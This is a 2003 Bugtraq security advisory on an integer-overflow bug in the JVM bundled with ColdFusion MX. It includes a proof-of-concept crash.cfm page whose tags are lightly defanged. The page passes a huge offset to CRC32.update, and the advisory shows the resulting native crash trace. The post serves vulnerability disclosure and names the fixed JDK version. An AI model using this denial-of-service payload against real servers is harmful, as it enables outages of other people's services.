bugtraq - Coldfusion MX: Java in CFM causes Crash

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <Pine.A41.4.44.0304291749270.81166-100000@zivunix.uni-muenster.de>
Date: Tue, 29 Apr 2003 17:52:53 +0200 (MES)
From: Marc Schoenefeld <schonef@...-muenster.de>
To: bugtraq@...urityfocus.com
Subject: Coldfusion MX: Java in CFM causes Crash


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Illegalaccess Security Advisory

Name: Macromedia Coldfusion MX
Systems: All platforms with jdk 1.3.1 Level _03 until _07
Risk Category: Medium
Vulnerability Type: Integer Overflow
Vendor URL: http://www.macromedia.com
Author: Marc Schoenefeld (marc@...egalaccess.org)
Date: 29th April 2003

Hi,

the following cfm crashes macromedia coldfusion mx
due to a integer overflow vulnerability in the bundled
java virtual machine (1.3.1_03).

To try just alter the <! tags !

These type of bugs have already been reported by
illegalaccess.org to Sun Microsystems
in February 2003, but not been fixed in the 1.3.1 edition.
Suns Java 1.4.1_02 is the first version not to be vulnerable to
these problems.

Macromedia was informed on 4/28/03, but no reaction except
a mail reception by a cgi script.

For further info read:
http://developer.java.sun.com/developer/bugParade/bugs/4811913.html
http://developer.java.sun.com/developer/bugParade/bugs/4812181.html
http://developer.java.sun.com/developer/bugParade/bugs/4812006.html
http://developer.java.sun.com/developer/bugParade/bugs/4811927.html
http://developer.java.sun.com/developer/bugParade/bugs/4811917.html

Sincerely
Marc Schoenefeld

- ------------------crash.cfm-------------------------
<!H1> Coldfusion MX crash with Java <!/h1>
<!h2> Marc Schoenefeld @ illegalaccess.org <!/h2>

<!cfapplication name="Marc" sessionmanagement="yes">


<!cfobject action="create" type="Java" class="java.lang.String" name="s">
<!cfobject action="create" type="Java" class="java.util.zip.CRC32" name="c">
<!cfset ret=s.init()>
<!cfset ret=c.init()>
<!cfset str = s.getBytes()>
<!cfset retval = c.update(str,2147483647,4)>
- ------------------crash.cfm-------------------------

An unexpected exception has been detected in native code outside the VM.
Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6d3c215b
Function name=Java_java_util_zip_ZipEntry_initFields
Library=I:\programme\CFusionMX\runtime\jre\bin\zip.dll

Current Java thread:
	at java.util.zip.CRC32.updateBytes(Native Method)
	at java.util.zip.CRC32.update(Unknown Source)
	at java.lang.reflect.Method.invoke(Native Method)
	at coldfusion.runtime.java.JavaProxy.invoke(Unknown Source)
	at coldfusion.runtime.CfJspPage._invoke(Unknown Source)
	at
cfcrash2ecfm1822493011.runPage(I:\Programme\CFusionMX\wwwroot\cfdocs\crash.cfm:12)
	at coldfusion.runtime.CfJspPage.invoke(Unknown Source)
	at coldfusion.tagext.lang.IncludeTag.doStartTag(Unknown Source)
	at coldfusion.filter.CfincludeFilter.invoke(Unknown Source)
	at coldfusion.filter.ApplicationFilter.invoke(Unknown Source)
	at coldfusion.filter.PathFilter.invoke(Unknown Source)
	at coldfusion.filter.ExceptionFilter.invoke(Unknown Source)
	at coldfusion.filter.ClientScopePersistenceFilter.invoke(Unknown
Source)
	at coldfusion.filter.BrowserFilter.invoke(Unknown Source)
	at coldfusion.filter.GlobalsFilter.invoke(Unknown Source)
	at coldfusion.filter.DatasourceFilter.invoke(Unknown Source)
	at coldfusion.CfmServlet.service(Unknown Source)
	at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:106)
	at
jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42)
	at
jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:241)
	at
jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:527)
	at jrun.servlet.http.WebService.invokeRunnable(WebService.java:172)
	at
jrunx.scheduler.ThreadPool$DownstreamMetrics.invokeRunnable(ThreadPool.java:348)
	at
jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:451)
	at
jrunx.scheduler.ThreadPool$UpstreamMetrics.invokeRunnable(ThreadPool.java:294)
	at jrunx.scheduler.WorkerThread.run(WorkerThread.java:66)

Dynamic libraries:
0x00400000 - 0x0040F000 	I:\Programme\CFusionMX\runtime\bin\jrun.exe
0x77F40000 - 0x77FEE000 	C:\WINDOWS\System32\ntdll.dll
0x77E40000 - 0x77F38000 	C:\WINDOWS\system32\kernel32.dll
...


- --

Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous

Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (AIX)
Comment: For info see http://www.gnupg.org

iD8DBQE+rp/cqCaQvrKNUNQRAvM6AJ9elG8t4gmwPQKJgpamrmOIGCirBwCeNHsN
e2RINpJj1RzyBuuRvZUCBEk=
=F+wc
-----END PGP SIGNATURE-----